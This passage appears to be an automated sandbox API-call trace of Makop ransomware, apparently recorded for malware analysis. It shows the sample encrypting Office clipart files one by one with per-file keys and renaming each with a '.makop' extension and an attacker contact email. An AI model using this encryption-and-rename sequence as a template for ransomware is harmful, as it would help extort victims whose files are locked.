hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0152.934] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0152.934] GetProcessHeap () returned 0x48a0000 [0152.934] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0152.934] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0152.934] CryptDestroyKey (hKey=0x48c7128) returned 1 [0152.934] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0152.934] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0152.934] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0152.934] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0152.935] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0152.935] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0152.935] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0152.935] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0152.935] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.935] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x107b, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x107b, lpOverlapped=0x0) returned 1 [0152.937] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1080, dwBufLen=0x1080 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1080) returned 1 [0152.937] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.937] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1080, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1080, lpOverlapped=0x0) returned 1 [0152.937] CryptDestroyKey (hKey=0x48c7128) returned 1 [0152.937] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1154, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.937] SetEndOfFile (hFile=0xf0) returned 1 [0152.945] GetProcessHeap () returned 0x48a0000 [0152.945] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0152.945] GetProcessHeap () returned 0x48a0000 [0152.945] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0152.945] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0152.945] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\space_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\space_01.mid.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0152.947] CloseHandle (hObject=0xf0) returned 1 [0152.947] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1a2c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SPRNG_01.MID", cAlternateFileName="")) returned 1 [0152.947] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 63 [0152.947] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sprng_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0152.948] GetProcessHeap () returned 0x48a0000 [0152.949] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0152.949] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0152.949] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0152.949] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0152.953] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0152.953] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0152.953] GetProcessHeap () returned 0x48a0000 [0152.953] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0152.953] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0152.953] CryptDestroyKey (hKey=0x48c7128) returned 1 [0152.953] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0152.954] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0152.954] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0152.954] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0152.954] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0152.954] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0152.955] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0152.955] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0152.955] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.955] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1a2c, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1a2c, lpOverlapped=0x0) returned 1 [0152.957] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1a30, dwBufLen=0x1a30 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1a30) returned 1 [0152.957] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.957] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1a30, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1a30, lpOverlapped=0x0) returned 1 [0152.957] CryptDestroyKey (hKey=0x48c7128) returned 1 [0152.957] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1b04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.957] SetEndOfFile (hFile=0xf0) returned 1 [0152.964] GetProcessHeap () returned 0x48a0000 [0152.964] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0152.964] GetProcessHeap () returned 0x48a0000 [0152.964] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0152.964] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0152.964] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sprng_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sprng_01.mid.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0152.966] CloseHandle (hObject=0xf0) returned 1 [0152.966] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0xbd6, dwReserved0=0x0, dwReserved1=0x0, cFileName="STUBBY1.WMF", cAlternateFileName="")) returned 1 [0152.966] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\STUBBY1.WMF") returned 62 [0152.966] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\STUBBY1.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\stubby1.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0152.969] GetProcessHeap () returned 0x48a0000 [0152.969] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0152.969] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0152.969] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0152.969] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xa, lpOverlapped=0x0) returned 1 [0152.974] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0152.974] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0152.974] GetProcessHeap () returned 0x48a0000 [0152.975] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0152.975] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0152.975] CryptDestroyKey (hKey=0x48c7128) returned 1 [0152.975] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0152.975] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0152.975] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0152.975] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0152.975] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0152.976] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0152.976] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0152.976] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0152.976] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.976] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xbd6, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xbd6, lpOverlapped=0x0) returned 1 [0152.976] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xbe0, dwBufLen=0xbe0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xbe0) returned 1 [0152.976] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.976] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xbe0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xbe0, lpOverlapped=0x0) returned 1 [0152.977] CryptDestroyKey (hKey=0x48c7128) returned 1 [0152.977] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xcb4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.977] SetEndOfFile (hFile=0xf0) returned 1 [0152.983] GetProcessHeap () returned 0x48a0000 [0152.983] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0152.983] GetProcessHeap () returned 0x48a0000 [0152.983] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0152.983] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\STUBBY1.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 109 [0152.983] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\STUBBY1.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\stubby1.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\STUBBY1.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\stubby1.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0152.985] CloseHandle (hObject=0xf0) returned 1 [0152.985] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0xa16, dwReserved0=0x0, dwReserved1=0x0, cFileName="STUBBY2.WMF", cAlternateFileName="")) returned 1 [0152.985] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\STUBBY2.WMF") returned 62 [0152.985] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\STUBBY2.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\stubby2.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0152.987] GetProcessHeap () returned 0x48a0000 [0152.987] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0152.987] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0152.987] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0152.987] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xa, lpOverlapped=0x0) returned 1 [0152.992] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0152.992] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0152.992] GetProcessHeap () returned 0x48a0000 [0152.992] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0152.992] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0152.992] CryptDestroyKey (hKey=0x48c7128) returned 1 [0152.992] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0152.992] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0152.992] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0152.992] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0152.993] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0152.993] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0152.993] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0152.993] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0152.993] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.993] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xa16, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xa16, lpOverlapped=0x0) returned 1 [0152.993] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xa20, dwBufLen=0xa20 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xa20) returned 1 [0152.994] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.994] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xa20, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xa20, lpOverlapped=0x0) returned 1 [0152.994] CryptDestroyKey (hKey=0x48c7128) returned 1 [0152.994] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xaf4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.994] SetEndOfFile (hFile=0xf0) returned 1 [0153.000] GetProcessHeap () returned 0x48a0000 [0153.000] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0153.000] GetProcessHeap () returned 0x48a0000 [0153.000] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0153.000] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\STUBBY2.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 109 [0153.001] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\STUBBY2.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\stubby2.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\STUBBY2.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\stubby2.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0153.003] CloseHandle (hObject=0xf0) returned 1 [0153.003] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5ac7a110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x36dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="SUMER_01.MID", cAlternateFileName="")) returned 1 [0153.003] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 63 [0153.003] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sumer_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0153.004] GetProcessHeap () returned 0x48a0000 